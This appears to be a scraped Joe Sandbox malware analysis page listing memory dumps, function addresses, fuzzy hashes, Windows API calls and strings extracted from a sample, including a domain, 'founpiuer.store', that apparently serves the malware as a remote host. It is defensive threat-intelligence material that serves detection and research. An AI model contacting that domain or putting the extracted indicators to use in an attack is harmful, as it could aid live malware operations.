Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 00CBCF90 Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

89, xrefs: 00CBD13F

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID:
String ID: 89
API String ID: 0-155395596
Opcode ID: ebc9b979ac9e22b12eb4048e9f7f56d629aae786f588bfedb4052826fab56535
Instruction ID: 5f977da183375ec642792cfe376ee78c1de46c0c36d6ac5b727c58df907b97b7
Opcode Fuzzy Hash: ebc9b979ac9e22b12eb4048e9f7f56d629aae786f588bfedb4052826fab56535
Instruction Fuzzy Hash: 48519C6275872017E318A6788C663BFABC1DF92724F198D2CD9D2EB2C2DD6C8C054792

Function 00CF4C40 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

@, xrefs: 00CF4CA9

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: a3a71cfb22f5866ac88919c8e4473ea01dd0ac6fae4013fb6dfcf0cb2d201fe0
Instruction ID: bd29b9972d78915f17e7c9b377a4ce4da78e42356fdae3fd4b3cfc51c5cd1b1b
Opcode Fuzzy Hash: a3a71cfb22f5866ac88919c8e4473ea01dd0ac6fae4013fb6dfcf0cb2d201fe0
Instruction Fuzzy Hash: 5931F1715083089BD328DF68D8D17BBBBF5FB95314F14992CE69987381D3389948CBA2

Function 00CDAB20 Relevance: .5, Instructions: 477COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ba44a956fffbe33892e515aef004589a3a601791af0af14633752d1ac83df751
Instruction ID: c7ab4cf18e0ae8fa131026d34ca1230c5dd90badae46cebf0d34e81d7b55221e
Opcode Fuzzy Hash: ba44a956fffbe33892e515aef004589a3a601791af0af14633752d1ac83df751
Instruction Fuzzy Hash: 02D17B727483005FDB148F6888817AB77E2EF95314F18856EEA958B392E374DD0AD393

Function 00CC0CA0 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 308
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00CC0CB2

Strings

tO, xrefs: 00CC0E55
Mz, xrefs: 00CC0E63
founpiuer.store, xrefs: 00CC0FA4
ED7124309EC3AEB7B9418966561FA291, xrefs: 00CC0CC8

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID: InitializeSecurity
String ID: ED7124309EC3AEB7B9418966561FA291$Mz$founpiuer.store$tO
API String ID: 640775948-4090277222
Opcode ID: 18ef3655cab620c9433002908573312b94fe7d65a9cdc8f8e283b496e69b5f68
Instruction ID: b701dbbd4f4f913b12e2491cb10a9cf62c98dd29ef2d41f4df06235b5f8913a0
Opcode Fuzzy Hash: 18ef3655cab620c9433002908573312b94fe7d65a9cdc8f8e283b496e69b5f68
Instruction Fuzzy Hash: 19A1FFB0104781CFE325CF25C890B66BBA1FF56304F298A9CC0E64BB56D735E986CB91

Function 00CC0B90 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 00CC0C8D

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 1acf449d4153d661f7501d401aea57b288bb6ca6989b44d8e545db493e39de37
Instruction ID: 8928708ee5d703e7ab16ce13c5dd741fb2b75d3c1a3ba6db70614430a76e7de8
Opcode Fuzzy Hash: 1acf449d4153d661f7501d401aea57b288bb6ca6989b44d8e545db493e39de37
Instruction Fuzzy Hash: B231CCB5D10B40ABD770BE3D9A0B6177DB4A701660F40472DF8E69A6D4E230A4298BD7

Function 00CCB308 Relevance: 1.5, APIs: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,8300D003), ref: 00CCB356

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
